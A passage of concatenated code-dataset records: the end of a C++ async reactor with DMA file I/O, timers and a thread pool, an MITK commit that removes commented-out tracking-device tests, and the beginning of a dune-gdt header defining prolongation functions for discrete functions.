io_prep_pwrite(&io, f._fd, const_cast<void*>(buffer), len, pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::write_dma(file& f, uint64_t pos, std::vector<iovec> iov) {\n return submit_io([&f, pos, iov = std::move(iov)] (iocb& io) {\n io_prep_pwritev(&io, f._fd, iov.data(), iov.size(), pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::read_dma(file& f, uint64_t pos, void* buffer, size_t len) {\n return submit_io([&f, pos, buffer, len] (iocb& io) {\n io_prep_pread(&io, f._fd, buffer, len, pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<size_t>\nreactor::read_dma(file& f, uint64_t pos, std::vector<iovec> iov) {\n return submit_io([&f, pos, iov = std::move(iov)] (iocb& io) {\n io_prep_preadv(&io, f._fd, iov.data(), iov.size(), pos);\n }).then([] (io_event ev) {\n throw_kernel_error(long(ev.res));\n return make_ready_future<size_t>(size_t(ev.res));\n });\n}\n\nfuture<file>\nreactor::open_file_dma(sstring name) {\n return _thread_pool.submit<syscall_result<int>>([name] {\n return wrap_syscall<int>(::open(name.c_str(), O_DIRECT | O_CLOEXEC | O_CREAT | O_RDWR, S_IRWXU));\n }).then([] (syscall_result<int> sr) {\n sr.throw_if_error();\n return make_ready_future<file>(file(sr.result));\n });\n}\n\nfuture<>\nreactor::flush(file& f) {\n return _thread_pool.submit<syscall_result<int>>([&f] {\n return wrap_syscall<int>(::fsync(f._fd));\n }).then([] (syscall_result<int> sr) {\n sr.throw_if_error();\n return make_ready_future<>();\n });\n}\n\nvoid reactor::add_timer(timer* tmr) {\n if (_timers.insert(*tmr) && tmr->get_timeout() < _next_timeout) {\n itimerspec its;\n its.it_interval = {};\n its.it_value = to_timespec(_timers.get_next_timeout());\n _timerfd.get_file_desc().timerfd_settime(TFD_TIMER_ABSTIME, its);\n }\n}\n\nvoid reactor::del_timer(timer* tmr) {\n _timers.remove(*tmr);\n}\n\nvoid reactor::complete_timers() {\n _timerfd.read_some(reinterpret_cast<char*>(&_timers_completed), sizeof(_timers_completed)).then(\n [this] (size_t n) {\n _timers.expire(clock_type::now());\n while (auto t = _timers.pop_expired()) {\n t->_pr.set_value();\n t->_pr = promise<>();\n }\n if (!_timers.empty()) {\n _next_timeout = _timers.get_next_timeout();\n itimerspec its;\n its.it_interval = {};\n its.it_value = to_timespec(_next_timeout);\n _timerfd.get_file_desc().timerfd_settime(TFD_TIMER_ABSTIME, its);\n }\n complete_timers();\n });\n}\n\nvoid reactor::run() {\n std::vector<std::unique_ptr<task>> current_tasks;\n _start_promise.set_value();\n complete_timers();\n while (true) {\n while (!_pending_tasks.empty()) {\n std::swap(_pending_tasks, current_tasks);\n for (auto&& tsk : current_tasks) {\n tsk->run();\n tsk.reset();\n }\n current_tasks.clear();\n }\n std::array<epoll_event, 128> eevt;\n int nr = ::epoll_wait(_epollfd.get(), eevt.data(), eevt.size(), -1);\n if (nr == -1 && errno == EINTR) {\n continue; \/\/ gdb can cause this\n }\n assert(nr != -1);\n for (int i = 0; i < nr; ++i) {\n auto& evt = eevt[i];\n auto pfd = reinterpret_cast<pollable_fd_state*>(evt.data.ptr);\n auto events = evt.events & (EPOLLIN | EPOLLOUT);\n std::unique_ptr<task> t_in, t_out;\n pfd->events_known |= events;\n auto events_to_remove = events & ~pfd->events_requested;\n complete_epoll_event(*pfd, &pollable_fd_state::pollin, events, EPOLLIN);\n complete_epoll_event(*pfd, &pollable_fd_state::pollout, events, EPOLLOUT);\n if (events_to_remove) {\n pfd->events_epoll &= ~events_to_remove;\n evt.events = pfd->events_epoll;\n auto op = evt.events ? EPOLL_CTL_MOD : EPOLL_CTL_DEL;\n ::epoll_ctl(_epollfd.get(), op, pfd->fd.get(), &evt);\n }\n }\n }\n}\n\nthread_pool::thread_pool()\n : _pending(queue_length)\n , _completed(queue_length)\n , _start_eventfd(0)\n , _complete_eventfd(0)\n , _worker_thread([this] { work(); }) {\n _worker_thread.detach();\n complete();\n}\n\nvoid thread_pool::work() {\n while (true) {\n uint64_t count;\n auto r = ::read(_start_eventfd.get_read_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n auto nr = _pending.consume_all([this] (work_item* wi) {\n wi->process();\n _completed.push(wi);\n });\n count = nr;\n r = ::write(_complete_eventfd.get_write_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n }\n}\n\nvoid thread_pool::submit_item(thread_pool::work_item* item) {\n _queue_has_room.wait().then([this, item] {\n _pending.push(item);\n _start_eventfd.signal(1);\n });\n}\n\nvoid thread_pool::complete() {\n _complete_eventfd.wait().then([this] (size_t count) {\n auto nr = _completed.consume_all([this] (work_item* wi) {\n wi->complete();\n delete wi;\n });\n _queue_has_room.signal(nr);\n complete();\n });\n}\n\nfile_desc writeable_eventfd::try_create_eventfd(size_t initial) {\n assert(size_t(int(initial)) == initial);\n return file_desc::eventfd(initial, EFD_CLOEXEC);\n}\n\nvoid writeable_eventfd::signal(size_t count) {\n uint64_t c = count;\n auto r = _fd.write(&c, sizeof(c));\n assert(r == sizeof(c));\n}\n\nfile_desc readable_eventfd::try_create_eventfd(size_t initial) {\n assert(size_t(int(initial)) == initial);\n return file_desc::eventfd(initial, EFD_CLOEXEC | EFD_NONBLOCK);\n}\n\nfuture<size_t> readable_eventfd::wait() {\n return the_reactor.readable(*_fd._s).then([this] {\n uint64_t count;\n int r = ::read(_fd.get_fd(), &count, sizeof(count));\n assert(r == sizeof(count));\n return make_ready_future<size_t>(count);\n });\n}\n\nsocket_address make_ipv4_address(ipv4_addr addr) {\n socket_address sa;\n sa.u.in.sin_family = AF_INET;\n sa.u.in.sin_port = htons(addr.port);\n std::memcpy(&sa.u.in.sin_addr, addr.host, 4);\n return sa;\n}\n\nreactor the_reactor;\n<|endoftext|>"} {"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkTrackingDeviceSourceConfigurator.h\"\n#include <mitkClaronTrackingDevice.h>\n#include <mitkNDITrackingDevice.h>\n#include <mitkNavigationTool.h>\n#include <mitkTestingMacros.h>\n#include <mitkIGTConfig.h>\n\n\nstatic void TestInstantiation()\n{\n \/\/ let's create an object of our class\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n mitk::NavigationToolStorage::Pointer emptyStorage = mitk::NavigationToolStorage::New();\n mitk::TrackingDevice::Pointer dummyDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(emptyStorage,dummyDevice);\n MITK_TEST_CONDITION_REQUIRED(testInstance.IsNotNull(),\"Testing instantiation:\");\n}\n\nstatic void TestInvalidClaronTrackingDevice()\n{\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with 2 invalid tools\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create invalid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n claronStorage->AddTool(firstTool);\n\n \/\/create invalid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource.IsNull(),\"..testing return value\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetErrorMessage().size()>1,\"..testing if there is an error message\");\n\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with another 2 invalid tools\");\n\n secondTool->SetTrackingDeviceType(mitk::NDIAurora);\n claronStorage = mitk::NavigationToolStorage::New();\n claronStorage->AddTool(secondTool);\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..testing if factory class detects the invalid data\");\n\n testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource.IsNull(),\"..testing return value\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetErrorMessage().size()>1,\"..testing if there is an error message\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetUpdatedNavigationToolStorage()->GetToolCount()==1,\"..testing if navigation tool storage is still there\");\n\n MITK_TEST_OUTPUT(<<\"Testing other invalid test cases\");\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,NULL);\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..(1) testing if factory class detects the invalid data\");\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(NULL,testDevice);\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..(2) testing if factory class detects the invalid data\");\n}\n\nstatic void TestValidClaronTrackingDevice()\n{\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with 2 valid tools\");\n\n std::string toolFileName(MITK_IGT_DATA_DIR);\n toolFileName.append(\"\/ClaronTool\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create valid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n firstTool->SetCalibrationFile(toolFileName);\n firstTool->SetIdentifier(\"Tool#1\");\n claronStorage->AddTool(firstTool);\n\n \/\/create valid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n secondTool->SetCalibrationFile(toolFileName);\n secondTool->SetIdentifier(\"Tool#2\");\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource->GetNumberOfOutputs()==2,\"testing number of outputs\");\n MITK_TEST_CONDITION_REQUIRED(testSource->GetTrackingDevice()->GetToolCount()==2,\"testing tracking device\");\n}\n\n\/*\nstatic void TestNDIAuroraTrackingDevice()\n{\n\n}\n*\/\n\n\/*\nstatic void TestNDIPolarisTrackingDevice()\n{\n MITK_TEST_OUTPUT(<<\"Testing simple NDI Polaris tracking device with 1 valid tool\");\n\n std::string toolFileName(MITK_IGT_DATA_DIR);\n toolFileName.append(\"\/SROMFile.rom\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n\n mitk::NavigationToolStorage::Pointer polarisStorage = mitk::NavigationToolStorage::New();\n\n \/\/create valid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::NDIPolaris);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n firstTool->SetCalibrationFile(toolFileName);\n firstTool->SetIdentifier(\"Tool#1\");\n polarisStorage->AddTool(firstTool);\n\n mitk::NDITrackingDevice::Pointer ndiDevice = mitk::NDITrackingDevice::New();\n ndiDevice->SetType(mitk::NDIPolaris);\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(ndiDevice.GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(polarisStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource->GetNumberOfOutputs()==1,\"..testing number of outputs\");\n MITK_TEST_CONDITION_REQUIRED(testSource->GetTrackingDevice()->GetToolCount()==1,\"..testing tracking device\");\n}\n*\/\n\nstatic void TestAdditionalMethods()\n{\n MITK_TEST_OUTPUT(<<\"Testing additional methods of TrackingDeviceSourceCOnfigurator\");\n MITK_TEST_OUTPUT(<<\"..using claron tracking device for testing\");\n\n std::string toolFileName(MITK_IGT_DATA_DIR);\n toolFileName.append(\"\/ClaronTool\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create valid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n firstTool->SetCalibrationFile(toolFileName);\n firstTool->SetIdentifier(\"Tool#1\");\n claronStorage->AddTool(firstTool);\n\n \/\/create valid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n secondTool->SetCalibrationFile(toolFileName);\n secondTool->SetIdentifier(\"Tool#2\");\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n \/\/numbers must be the same in case of MicronTracker\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolNumberInToolStorage(0)==0,\"..testing method GetToolNumberInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolIdentifierInToolStorage(0)==\"Tool#1\",\"..testing method GetToolIdentifierInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolNumbersInToolStorage().at(0)==0,\"..testing method GetToolNumbersInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolIdentifiersInToolStorage().at(0)==\"Tool#1\",\"..testing method GetToolIdentifiersInToolStorage()\");\n\n\n}\n\nint mitkTrackingDeviceSourceConfiguratorTest(int \/* argc *\/, char* \/*argv*\/[])\n{\n MITK_TEST_BEGIN(\"TrackingDeviceConfigurator\");\n\n TestInstantiation();\n TestInvalidClaronTrackingDevice();\n TestValidClaronTrackingDevice();\n TestAdditionalMethods();\n\n MITK_TEST_END();\n}\n<commit_msg>Removed two out-commented tests which were not belonging in that file. Created feature request 16919 to re-include these tests in a real hardware test.<commit_after>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n\n#include \"mitkTrackingDeviceSourceConfigurator.h\"\n#include <mitkClaronTrackingDevice.h>\n#include <mitkNDITrackingDevice.h>\n#include <mitkNavigationTool.h>\n#include <mitkTestingMacros.h>\n#include <mitkIGTConfig.h>\n\n\nstatic void TestInstantiation()\n{\n \/\/ let's create an object of our class\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n mitk::NavigationToolStorage::Pointer emptyStorage = mitk::NavigationToolStorage::New();\n mitk::TrackingDevice::Pointer dummyDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(emptyStorage,dummyDevice);\n MITK_TEST_CONDITION_REQUIRED(testInstance.IsNotNull(),\"Testing instantiation:\");\n}\n\nstatic void TestInvalidClaronTrackingDevice()\n{\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with 2 invalid tools\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create invalid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n claronStorage->AddTool(firstTool);\n\n \/\/create invalid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource.IsNull(),\"..testing return value\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetErrorMessage().size()>1,\"..testing if there is an error message\");\n\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with another 2 invalid tools\");\n\n secondTool->SetTrackingDeviceType(mitk::NDIAurora);\n claronStorage = mitk::NavigationToolStorage::New();\n claronStorage->AddTool(secondTool);\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..testing if factory class detects the invalid data\");\n\n testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource.IsNull(),\"..testing return value\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetErrorMessage().size()>1,\"..testing if there is an error message\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetUpdatedNavigationToolStorage()->GetToolCount()==1,\"..testing if navigation tool storage is still there\");\n\n MITK_TEST_OUTPUT(<<\"Testing other invalid test cases\");\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,NULL);\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..(1) testing if factory class detects the invalid data\");\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(NULL,testDevice);\n MITK_TEST_CONDITION_REQUIRED(!testInstance->IsCreateTrackingDeviceSourcePossible(),\"..(2) testing if factory class detects the invalid data\");\n}\n\nstatic void TestValidClaronTrackingDevice()\n{\n MITK_TEST_OUTPUT(<<\"Testing simple claron tracking device with 2 valid tools\");\n\n std::string toolFileName(MITK_IGT_DATA_DIR);\n toolFileName.append(\"\/ClaronTool\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create valid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n firstTool->SetCalibrationFile(toolFileName);\n firstTool->SetIdentifier(\"Tool#1\");\n claronStorage->AddTool(firstTool);\n\n \/\/create valid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n secondTool->SetCalibrationFile(toolFileName);\n secondTool->SetIdentifier(\"Tool#2\");\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n MITK_TEST_CONDITION_REQUIRED(testSource->GetNumberOfOutputs()==2,\"testing number of outputs\");\n MITK_TEST_CONDITION_REQUIRED(testSource->GetTrackingDevice()->GetToolCount()==2,\"testing tracking device\");\n}\n\nstatic void TestAdditionalMethods()\n{\n MITK_TEST_OUTPUT(<<\"Testing additional methods of TrackingDeviceSourceCOnfigurator\");\n MITK_TEST_OUTPUT(<<\"..using claron tracking device for testing\");\n\n std::string toolFileName(MITK_IGT_DATA_DIR);\n toolFileName.append(\"\/ClaronTool\");\n\n mitk::TrackingDeviceSourceConfigurator::Pointer testInstance;\n\n mitk::NavigationToolStorage::Pointer claronStorage = mitk::NavigationToolStorage::New();\n\n \/\/create valid tool 1\n mitk::NavigationTool::Pointer firstTool = mitk::NavigationTool::New();\n firstTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer firstNode = mitk::DataNode::New();\n firstNode->SetName(\"Tool1\");\n firstTool->SetDataNode(firstNode);\n firstTool->SetCalibrationFile(toolFileName);\n firstTool->SetIdentifier(\"Tool#1\");\n claronStorage->AddTool(firstTool);\n\n \/\/create valid tool 2\n mitk::NavigationTool::Pointer secondTool = mitk::NavigationTool::New();\n secondTool->SetTrackingDeviceType(mitk::ClaronMicron);\n mitk::DataNode::Pointer secondNode = mitk::DataNode::New();\n secondNode->SetName(\"Tool2\");\n secondTool->SetDataNode(secondNode);\n secondTool->SetCalibrationFile(toolFileName);\n secondTool->SetIdentifier(\"Tool#2\");\n claronStorage->AddTool(secondTool);\n\n mitk::TrackingDevice::Pointer testDevice = dynamic_cast<mitk::TrackingDevice*>(mitk::ClaronTrackingDevice::New().GetPointer());\n\n testInstance = mitk::TrackingDeviceSourceConfigurator::New(claronStorage,testDevice);\n\n mitk::TrackingDeviceSource::Pointer testSource = testInstance->CreateTrackingDeviceSource();\n\n \/\/numbers must be the same in case of MicronTracker\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolNumberInToolStorage(0)==0,\"..testing method GetToolNumberInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolIdentifierInToolStorage(0)==\"Tool#1\",\"..testing method GetToolIdentifierInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolNumbersInToolStorage().at(0)==0,\"..testing method GetToolNumbersInToolStorage()\");\n MITK_TEST_CONDITION_REQUIRED(testInstance->GetToolIdentifiersInToolStorage().at(0)==\"Tool#1\",\"..testing method GetToolIdentifiersInToolStorage()\");\n\n\n}\n\nint mitkTrackingDeviceSourceConfiguratorTest(int \/* argc *\/, char* \/*argv*\/[])\n{\n MITK_TEST_BEGIN(\"TrackingDeviceConfigurator\");\n\n TestInstantiation();\n TestInvalidClaronTrackingDevice();\n TestValidClaronTrackingDevice();\n TestAdditionalMethods();\n\n MITK_TEST_END();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of the dune-gdt project:\n\/\/ https:\/\/github.com\/dune-community\/dune-gdt\n\/\/ Copyright 2010-2018 dune-gdt developers and contributors. All rights reserved.\n\/\/ License: Dual licensed as BSD 2-Clause License (http:\/\/opensource.org\/licenses\/BSD-2-Clause)\n\/\/ or GPL-2.0+ (http:\/\/opensource.org\/licenses\/gpl-license)\n\/\/ with \"runtime exception\" (http:\/\/www.dune-project.org\/license.html)\n\/\/ Authors:\n\/\/ Felix Schindler (2013 - 2018)\n\/\/ René Fritze (2014, 2016, 2018)\n\/\/ René Milk (2017)\n\/\/ Tobias Leibner (2014, 2016)\n\n#ifndef DUNE_GDT_PROLONGATIONS_HH\n#define DUNE_GDT_PROLONGATIONS_HH\n\n#include <vector>\n\n#include <dune\/common\/dynvector.hh>\n\n#include <dune\/xt\/la\/container\/vector-interface.hh>\n\n#include <dune\/gdt\/discretefunction\/bochner.hh>\n#include <dune\/gdt\/discretefunction\/default.hh>\n#include <dune\/gdt\/discretefunction\/reinterpret.hh>\n#include <dune\/gdt\/interpolations.hh>\n#include <dune\/gdt\/spaces\/bochner.hh>\n#include <dune\/gdt\/spaces\/interface.hh>\n\nnamespace Dune {\nnamespace GDT {\n\n\n\/\/ ## Variants for a DiscreteFunction ##\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [most general\n * variant].\n *\n * \\note This does not clear target.dofs().vector(). Thus, if prolongation_grid_view only covers a part of the domain of\n * target.space().grid_view(), other contributions in target remain (which is on purpose).\n *\n * \\sa interpolate\n * \\sa reinterpret\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class SR, class TV, class TGV, class TR, class PGV>\nstd::enable_if_t<std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n void>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source,\n DiscreteFunction<TV, TGV, r, rC, TR>& target,\n const GridView<PGV>& prolongation_grid_view)\n{\n interpolate(reinterpret(source, prolongation_grid_view), target, prolongation_grid_view);\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [uses\n * target.space().grid_view() as prolongation_grid_view].\n *\/\ntemplate <class SV, class SGV, size_t r, size_t rC, class SR, class TV, class TGV, class TR>\nvoid prolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source, DiscreteFunction<TV, TGV, r, rC, TR>& target)\n{\n prolong(source, target, target.space().grid_view());\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function, TargetVectorType has to be provided].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space, prolongation_grid_view);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class SR, class TGV, class TR, class PGV>\nstd::enable_if_t<\n XT::LA::is_vector<TargetVectorType>::value\n && std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteFunction<TargetVectorType, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source,\n const SpaceInterface<TGV, r, rC, TR>& target_space,\n const GridView<PGV>& prolongation_grid_view)\n{\n auto target_function = make_discrete_function<TargetVectorType>(target_space);\n prolong(source, target_function, prolongation_grid_view);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function, TargetVectorType has to be provided, uses target.space().grid_view() as\n * prolongation_grid_view].\n *\n * Use as in\n\\code\nauto target_function = prolong<TargetVectorType>(source, target_space);\n\\endcode\n *\/\ntemplate <class TargetVectorType, class SV, class SGV, size_t r, size_t rC, class SR, class TGV, class TR>\nstd::enable_if_t<XT::LA::is_vector<TargetVectorType>::value, DiscreteFunction<TargetVectorType, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<SV, SGV, r, rC, SR>& source, const SpaceInterface<TGV, r, rC, TR>& target_space)\n{\n auto target_function = make_discrete_function<TargetVectorType>(target_space);\n prolong(source, target_function);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one (usually coarser) GridView onto another (usually finer) one [creates\n * suitable target_function with same VectorType as source].\n *\/\ntemplate <class V, class SGV, size_t r, size_t rC, class SR, class TGV, class TR, class PGV>\nstd::enable_if_t<std::is_same<XT::Grid::extract_entity_t<TGV>, typename PGV::Grid::template Codim<0>::Entity>::value,\n DiscreteFunction<V, TGV, r, rC, TR>>\nprolong(const DiscreteFunction<V, SGV, r, rC, SR>& source,\n const SpaceInterface<TGV, r, rC, TR>& target_space,\n const GridView<PGV>& prolongation_grid_view)\n{\n auto target_function = make_discrete_function<V>(target_space);\n prolong(source, target_function, prolongation_grid_view);\n return target_function;\n}\n\n\n\/**\n * \\brief Prolongs a DiscreteFunction from one 